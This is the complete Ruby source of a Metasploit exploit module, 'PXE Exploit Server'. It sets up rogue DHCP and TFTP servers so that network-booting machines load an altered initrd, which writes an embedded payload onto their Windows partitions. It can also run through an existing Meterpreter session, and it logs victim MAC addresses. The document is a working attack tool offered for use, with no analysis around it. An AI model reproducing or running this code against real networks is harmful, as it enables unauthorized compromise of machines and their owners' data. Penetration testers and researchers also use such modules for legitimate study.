PXE Exploit Server

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'rex/proto/tftp'  
require 'rex/proto/dhcp'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::TFTPServer  
include Msf::Auxiliary::Report  
  
def initialize  
super(  
'Name' => 'PXE Exploit Server',  
'Description' => %q{  
This module provides a PXE server, running a DHCP and TFTP server.  
The default configuration loads a linux kernel and initrd into memory that  
reads the hard drive; placing the payload on the hard drive of any Windows  
partition seen.  
  
Note: the displayed IP address of a target is the address this DHCP server  
handed out, not the "normal" IP address the host uses.  
},  
'Author' => [ 'scriptjunkie' ],  
'License' => MSF_LICENSE,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 4500,  
'DisableNops' => 'True',  
},  
'Platform' => 'win',  
'DisclosureDate' => 'Aug 05 2011',  
'Targets' =>  
[  
[ 'Windows Universal',  
{  
}  
],  
],  
'Privileged' => true,  
'Stance' => Msf::Exploit::Stance::Passive,  
'DefaultTarget' => 0  
)  
  
register_options(  
[  
OptInt.new('SESSION', [ false, 'A session to pivot the attack through' ])  
], self.class)  
  
register_advanced_options(  
[  
OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from' ]),  
OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]),  
OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]),  
OptBool.new('RESETPXE', [ true, 'Resets the server to re-exploit already targeted hosts', false ]),  
OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]),  
OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ])  
], self.class)  
end  
  
def exploit  
if not datastore['TFTPROOT']  
datastore['TFTPROOT'] = File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')  
end  
datastore['FILENAME'] = "update1"  
datastore['SERVEONCE'] = true # once they reboot; don't infect again - you'll kill them!  
  
# Prepare payload  
print_status("Creating initrd")  
initrd = IO.read(File.join(Msf::Config.data_directory, 'exploits', 'pxexploit','updatecustom'))  
uncompressed = Rex::Text.ungzip(initrd)  
payl = payload.generate  
uncompressed[uncompressed.index('AAAAAAAAAAAAAAAAAAAAAA'),payl.length] = payl  
initrd = Rex::Text.gzip(uncompressed)  
  
# Meterpreter attack  
if framework.sessions.include? datastore['SESSION']  
client = framework.sessions[datastore['SESSION']]  
if not client.lanattacks  
print_status("Loading lanattacks extension...")  
client.core.use("lanattacks")  
else  
if datastore['RESETPXE']  
print_status("Resetting PXE attack...")  
client.lanattacks.dhcp.reset  
end  
end  
  
print_status("Loading DHCP options...")  
client.lanattacks.dhcp.load_options(datastore)  
0.upto(4) do |i|  
print_status("Loading file #{i+1} of 5")  
if i < 4  
contents = IO.read(::File.join(datastore['TFTPROOT'],"update#{i}"))  
else  
contents = initrd  
end  
client.lanattacks.tftp.add_file("update#{i}",contents)  
end  
print_status("Starting TFTP server...")  
client.lanattacks.tftp.start  
print_status("Starting DHCP server...")  
client.lanattacks.dhcp.start  
print_status("pxesploit attack started")  
while (true) do  
begin  
# get stats every 20s  
select(nil, nil, nil, 20)  
client.lanattacks.dhcp.log.each do |item|  
print_status("Served PXE attack to #{item[0].unpack('H2H2H2H2H2H2').join(':')} "+  
"(#{Rex::Socket.addr_ntoa(item[1])})")  
report_note({  
:type => 'PXE.client',  
:data => item[0].unpack('H2H2H2H2H2H2').join(':')  
})  
end  
rescue ::Interrupt  
print_status("Stopping TFTP server...")  
client.lanattacks.tftp.stop  
print_status("Stopping DHCP server...")  
client.lanattacks.dhcp.stop  
print_status("PXEsploit attack stopped")  
return  
end  
end  
end  
  
# normal attack  
print_status("Starting TFTP server...")  
@tftp = Rex::Proto::TFTP::Server.new  
@tftp.set_tftproot(datastore['TFTPROOT'])  
@tftp.register_file('update4',initrd)  
@tftp.start  
  
print_status("Starting DHCP server...")  
@dhcp = Rex::Proto::DHCP::Server.new( datastore )  
@dhcp.report do |mac, ip|  
print_status("Serving PXE attack to #{mac.unpack('H2H2H2H2H2H2').join(':')} "+  
"(#{Rex::Socket.addr_ntoa(ip)})")  
report_note({  
:type => 'PXE.client',  
:data => mac.unpack('H2H2H2H2H2H2').join(':')  
})  
end  
@dhcp.start  
print_status("pxesploit attack started")  
  
# Wait for finish..  
@tftp.thread.join  
@dhcp.thread.join  
print_status("pxesploit attack completed")  
end  
  
end  
`